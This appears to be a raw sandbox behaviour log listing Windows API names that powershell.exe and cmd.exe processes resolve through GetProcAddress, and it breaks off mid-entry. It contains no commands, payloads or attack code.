ResolveLocaleName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2A (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2 (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryAllFeatureConfigurations (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeStreamedParameterResultCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativePromptUserCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_GetInstance (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsShuttingDown (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_SetAppDomainIsUnloading (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_ScheduleCleanupCallback (UID: 00000000-00006468) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007672) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007672) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007672) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007672) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007672) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007672) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter 